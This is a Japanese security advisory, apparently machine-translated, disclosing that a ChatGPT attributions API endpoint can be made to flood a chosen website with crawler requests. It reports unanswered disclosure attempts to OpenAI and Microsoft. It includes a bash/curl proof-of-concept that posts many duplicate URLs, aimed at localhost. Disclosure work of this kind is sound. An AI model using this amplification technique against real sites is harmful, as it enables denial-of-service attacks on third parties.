レポート 4541
重大度: [高 - CVSSスコア8.6](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H/E:H/RL:U/RC:C/CR:L/IR:L/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:C/MC:N/MI:N/MA:H%5D(https://chandanbn.github.io/cvss/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) ネットワークベースで、複雑性が低く、権限が不要で、ユーザーの操作が不要で、スコープが変更され、機密性や整合性には影響がないが、可用性。
ChatGPT クローラーは、関連のない ChatGPT API への HTTP リクエストを介して被害者の Web サイトに DDoS 攻撃を仕掛けることができます。 OpenAI ソフトウェアのこの欠陥により、ChatGPT クローラーが稼働している複数の Microsoft Azure IP アドレス範囲を利用して、疑いを持たない被害者の Web サイトに DDoS 攻撃が仕掛けられます。
ChatGPT API は、https://chatgpt.com/backend-api/attributions への HTTP POST リクエストを処理する際に、重大な品質欠陥を示します。API は、パラメータ urls にハイパーリンクのリストを期待します。同じ Web サイトへのハイパーリンクはさまざまな方法で記述できることはよく知られています。不適切なプログラミング プラクティスのため、OpenAI は同じリソースへのハイパーリンクがリスト内に複数回出現するかどうかをチェックしません。また、OpenAI は urls パラメータに保存されるハイパーリンクの最大数に制限を設けていないため、1 回の HTTP リクエストで何千ものハイパーリンクを送信できます。
OpenAI の https://chatgpt.com/backend-api/attributions API エンドポイントが適切な形式の HTTP POST リクエストを受信するとすぐに、OpenAI は Microsoft Azure クラウドにある OpenAI サーバーから urls パラメータに含まれるハイパーリンクごとに 1 つの HTTP リクエストを開始します。この時点で、被害者の Web サイトでは、OpenAI のサーバーからの多数の同時接続試行 と HTTP リクエストが発生します。OpenAI は、同じ Web サイトに同時に多数のリクエストを送信していることを認識していますが、同じ Web サイトへの接続数を制限したり、同じリソースへの重複リクエストの発行を防止したりすることはありません。
urls パラメータを介して OpenAI に送信されるハイパーリンクの数によっては、OpenAI のサーバーからの多数の接続によって被害者の Web サイトが圧倒される可能性があります。
このソフトウェアの欠陥は、潜在的な DDoS 攻撃の大きな増幅要因となります。OpenAI はソフトウェア エンジニアリングにおける品質管理プロセスが不足しているため、この欠陥をできるだけ早く修正する必要があります。
この概念実証コードは、OpenAI サーバーから my-website.localhost に 50 個の HTTP リクエストを送信することで、OpenAI の API の欠陥を浮き彫りにします。
#!/bin/bash echo {1..50} | tr ' ' '\n' | ( while read -r i; do echo "https://my-website.localhost:$RANDOM/$i-$RANDOM.txt"; done ) | jq -R -s -j -c '{ "urls": split("\n")[:-1] }' \ | curl -v --http1.1 \ -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.32 (KHTML, like Gecko) Chrome/133.0.0.1 Safari/535.32' \ -H "content-type: application/jason" \ -H 'origin: https://www.chatgpt.com' \ --data-binary @- -X POST 'https:///chatgpt.com/backend-api/attributions'
Web サーバー my-website.localhost のログ ファイルには、ChatGPT Crawler による多数の接続試行が同じ秒間に発生していることが示されます:
... 2025-01-10 40.84.221.211 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML、Gecko のような); 互換性あり; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.210 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML、Gecko のような); 互換性あり; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.208 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML、Gecko のような); 互換性あり; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.208 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML、Gecko と同様); 互換; ChatGPT-User/1.0; +https://openai.com/bot" ...
このソフトウェアの欠陥は2025年1月に発見され、欠陥のあるソフトウェアの所有者であるOpenAIと、潜在的に悪意のある膨大な数のWebリクエストを生成するサーバーの所有者であるMicrosoftの両方に責任を持って開示されました。
残念ながら、このソフトウェアの欠陥を軽減するための多くの試みがなされたにもかかわらず、いずれの当事者からも適切なタイミングで反応を得ることができませんでした。これには以下が含まれます。
- BugCrowd脆弱性報告プラットフォームのレポートを介してOpenAIセキュリティチームに連絡する(OpenAIからの応答なし)
- Webサーバーの
.well-known/security.txtファイルに記載されているように、disclosure@openai.comに電子メールでOpenAIセキュリティチームに連絡する(「メールボックスはもう使用されていません」というメッセージ、OpenAIからの応答なし) - githubリポジトリに投稿されたレポートとセキュリティアドバイザリを介してOpenAI従業員に連絡する(OpenAIからの応答なし)
privacy@openai.comに電子メールでOpenAIデータプライバシー担当者に連絡するdsar@openai.com(AI が FAQ ウェ ブサイトを指して書いたメールの返信)support@openai.com宛てのメール経由で OpenAI サポート スタッフに連絡 (AI が FAQ ウェブサイトを指して書いたメールの返信)secure@microsoft.com、abuse@microsoft.comなど宛てのメール経由で Microsoft セキュリティ チームに連絡 (Microsoft からの返信なし)cert.microsoft.comに記入したフォーム経由で Microsoft セキュリティ チームに連絡 (AI が書いたメールの返信: 「ケース クローズ」)- WHOIS レコードで提供された連絡先宛てのメール経由で Microsoft Azure ネットワーク運用チームに連絡 (Microsoft からの返信なし)
- CloudFlare が
https://chatgpt.comへのゲートウェイ サーバーを提供しているため、HackerOne のレポート経由で CloudFlare セキュリティ チームに連絡 (HackerOne のスタッフはレポートを「参考」としてクローズし、CloudFlare への情報の転送を拒否)
2025 年 1 月 10 日金曜日現在、法的な通信チャネルを介したさまざまな報告の後、このソフトウェアの欠陥はOpenAI/Microsoft によって解決されず、その存在も認められませんでした。